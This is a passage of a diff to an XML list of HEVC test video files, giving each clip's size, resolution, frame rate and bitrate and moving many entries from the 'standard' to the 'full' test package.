   <entry key="hevc/yuv422/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_defslist.mp4">
-    <value>mime=video/hevc,size=152868,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1894280,package=standard</value>
+    <value>mime=video/hevc,size=152868,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1894280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_noslist.mp4">
-    <value>mime=video/hevc,size=154761,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1917944,package=standard</value>
+    <value>mime=video/hevc,size=154761,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1917944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_flat_16.mp4">
-    <value>mime=video/hevc,size=154795,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1917944,package=standard</value>
+    <value>mime=video/hevc,size=154795,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1917944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_flat_1.mp4">
-    <value>mime=video/hevc,size=375646,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4678544,package=standard</value>
+    <value>mime=video/hevc,size=375646,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4678544,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_1_16.mp4">
-    <value>mime=video/hevc,size=184590,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2281048,package=standard</value>
+    <value>mime=video/hevc,size=184590,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2281048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_120_136.mp4">
-    <value>mime=video/hevc,size=114716,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1407008,package=standard</value>
+    <value>mime=video/hevc,size=114716,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1407008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_1_255.mp4">
-    <value>mime=video/hevc,size=141655,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1732568,package=standard</value>
+    <value>mime=video/hevc,size=141655,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1732568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_240_255.mp4">
-    <value>mime=video/hevc,size=101730,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1244880,package=standard</value>
+    <value>mime=video/hevc,size=101730,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1244880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_vert_1_255.mp4">
-    <value>mime=video/hevc,size=239303,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2969768,package=standard</value>
+    <value>mime=video/hevc,size=239303,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2969768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2x2tiles_512bytes_perslice.mp4">
-    <value>mime=video/hevc,size=5299,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=24512,package=standard</value>
+    <value>mime=video/hevc,size=5299,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=24512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_1024byte_slices.mp4">
     <value>mime=video/hevc,size=1287735,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=8039736,package=full</value>
@@ -19743,10 +19743,10 @@
     <value>mime=video/hevc,size=16378913,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=102359600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_16ctbs_perdpslice_24ctbs_perslice_wpp.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=102384768,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=102384768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_1ctbs_perslice_nolpfbndry.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=109284648,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=109284648,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_1tile_per2rows_3ctbs_perdpslice_5perslice.mp4">
     <value>mime=video/hevc,size=16682638,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=104257880,package=full</value>
@@ -19788,7 +19788,7 @@
     <value>mime=video/hevc,size=1281868,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=8003064,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_2x2tiles_16ctbs_perdpslice_24ctbs_perslice_ctb32.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=104646024,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=104646024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_2x2tiles_16ctbs_perdpslice_24ctbs_perslice.mp4">
     <value>mime=video/hevc,size=16384331,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=102393456,package=full</value>
@@ -19815,7 +19815,7 @@
     <value>mime=video/hevc,size=16612257,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=103818000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_5ctbs_perdpslice_wpp_sps1_pps7.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=102329480,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=102329480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_a4slices.mp4">
     <value>mime=video/hevc,size=1282362,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=8006160,package=full</value>
@@ -19830,10 +19830,10 @@
     <value>mime=video/hevc,size=15119407,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=94487688,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_lt1_dpslices_perrow_lt1_slices_perrow_wpp.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=94492976,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=94492976,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_lt1_dpslices_perrow_lt1_slices_perrow_wpp_sps5_pps13.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=94502112,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=94502112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_lt1_slices_perrow.mp4">
     <value>mime=video/hevc,size=15114329,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=94455952,package=full</value>
@@ -19986,184 +19986,184 @@
     <value>mime=video/hevc,size=3965831,width=3704,height=2040,frame-rate=25,profile=,level=,bitrate=24777800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=163814,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6511960,package=standard</value>
+    <value>mime=video/hevc,size=163814,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6511960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=169601,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6129960,package=standard</value>
+    <value>mime=video/hevc,size=169601,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6129960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=174270,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5774360,package=standard</value>
+    <value>mime=video/hevc,size=174270,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5774360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=181458,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5550984,package=standard</value>
+    <value>mime=video/hevc,size=181458,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5550984,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=184685,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5246568,package=standard</value>
+    <value>mime=video/hevc,size=184685,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5246568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=192404,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5102528,package=standard</value>
+    <value>mime=video/hevc,size=192404,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5102528,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=194460,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4834920,package=standard</value>
+    <value>mime=video/hevc,size=194460,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4834920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=73445,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=580728,package=standard</value>
+    <value>mime=video/hevc,size=73445,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=580728,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=73455,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=580808,package=standard</value>
+    <value>mime=video/hevc,size=73455,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=580808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=73455,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=580808,package=standard</value>
+    <value>mime=video/hevc,size=73455,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=580808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=73456,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=580808,package=standard</value>
+    <value>mime=video/hevc,size=73456,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=580808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=89822,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17788000,package=standard</value>
+    <value>mime=video/hevc,size=89822,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17788000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=89832,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17790000,package=standard</value>
+    <value>mime=video/hevc,size=89832,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17790000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=89832,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17790000,package=standard</value>
+    <value>mime=video/hevc,size=89832,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17790000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=89833,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17790000,package=standard</value>
+    <value>mime=video/hevc,size=89833,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17790000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=102770,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13574400,package=standard</value>
+    <value>mime=video/hevc,size=102770,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13574400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=102770,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13574400,package=standard</value>
+    <value>mime=video/hevc,size=102770,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13574400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=102771,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13574400,package=standard</value>
+    <value>mime=video/hevc,size=102771,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13574400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=110797,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10982296,package=standard</value>
+    <value>mime=video/hevc,size=110797,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10982296,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=112296,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11132200,package=standard</value>
+    <value>mime=video/hevc,size=112296,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11132200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=112297,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11132200,package=standard</value>
+    <value>mime=video/hevc,size=112297,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11132200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=123767,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9822480,package=standard</value>
+    <value>mime=video/hevc,size=123767,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9822480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=123768,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9822480,package=standard</value>
+    <value>mime=video/hevc,size=123768,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9822480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=129854,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8590400,package=standard</value>
+    <value>mime=video/hevc,size=129854,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8590400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=129853,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8590800,package=standard</value>
+    <value>mime=video/hevc,size=129853,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8590800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=135290,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7673136,package=standard</value>
+    <value>mime=video/hevc,size=135290,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7673136,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=141370,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8021424,package=standard</value>
+    <value>mime=video/hevc,size=141370,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8021424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=139499,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6923848,package=standard</value>
+    <value>mime=video/hevc,size=139499,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6923848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=145351,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7217600,package=standard</value>
+    <value>mime=video/hevc,size=145351,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7217600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=158623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7005328,package=standard</value>
+    <value>mime=video/hevc,size=158623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7005328,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=176570,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7022160,package=standard</value>
+    <value>mime=video/hevc,size=176570,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7022160,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=186474,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6743488,package=standard</value>
+    <value>mime=video/hevc,size=186474,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6743488,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=196581,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6518032,package=standard</value>
+    <value>mime=video/hevc,size=196581,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6518032,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=206876,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6333040,package=standard</value>
+    <value>mime=video/hevc,size=206876,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6333040,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=210926,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5996280,package=standard</value>
+    <value>mime=video/hevc,size=210926,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5996280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=222609,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5907968,package=standard</value>
+    <value>mime=video/hevc,size=222609,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5907968,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=199180,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4952896,package=standard</value>
+    <value>mime=video/hevc,size=199180,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4952896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=65204,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=514800,package=standard</value>
+    <value>mime=video/hevc,size=65204,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=514800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=65214,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=514880,package=standard</value>
+    <value>mime=video/hevc,size=65214,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=514880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=65214,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=514880,package=standard</value>
+    <value>mime=video/hevc,size=65214,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=514880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=65216,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=514880,package=standard</value>
+    <value>mime=video/hevc,size=65216,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=514880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=79833,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15790200,package=standard</value>
+    <value>mime=video/hevc,size=79833,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15790200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=79843,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15792200,package=standard</value>
+    <value>mime=video/hevc,size=79843,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15792200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=79843,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15792200,package=standard</value>
+    <value>mime=video/hevc,size=79843,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15792200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=79845,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15792200,package=standard</value>
+    <value>mime=video/hevc,size=79845,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15792200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=91453,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=12065464,package=standard</value>
+    <value>mime=video/hevc,size=91453,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=12065464,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=91453,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=12065464,package=standard</value>
+    <value>mime=video/hevc,size=91453,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=12065464,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=91455,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=12065464,package=standard</value>
+    <value>mime=video/hevc,size=91455,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=12065464,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=101063,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10008896,package=standard</value>
+    <value>mime=video/hevc,size=101063,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10008896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=99602,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9862800,package=standard</value>
+    <value>mime=video/hevc,size=99602,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9862800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=99604,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9862800,package=standard</value>
+    <value>mime=video/hevc,size=99604,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9862800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=109072,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8646880,package=standard</value>
+    <value>mime=video/hevc,size=109072,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8646880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=109074,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8646880,package=standard</value>
+    <value>mime=video/hevc,size=109074,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8646880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=126675,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8378464,package=standard</value>
+    <value>mime=video/hevc,size=126675,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8378464,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=113912,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7528000,package=standard</value>
+    <value>mime=video/hevc,size=113912,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7528000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=134732,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7641256,package=standard</value>
+    <value>mime=video/hevc,size=134732,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7641256,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=124653,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7066112,package=standard</value>
+    <value>mime=video/hevc,size=124653,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7066112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=142026,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7050200,package=standard</value>
+    <value>mime=video/hevc,size=142026,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7050200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=127171,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6308544,package=standard</value>
+    <value>mime=video/hevc,size=127171,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6308544,package=full</value>
   </entry>
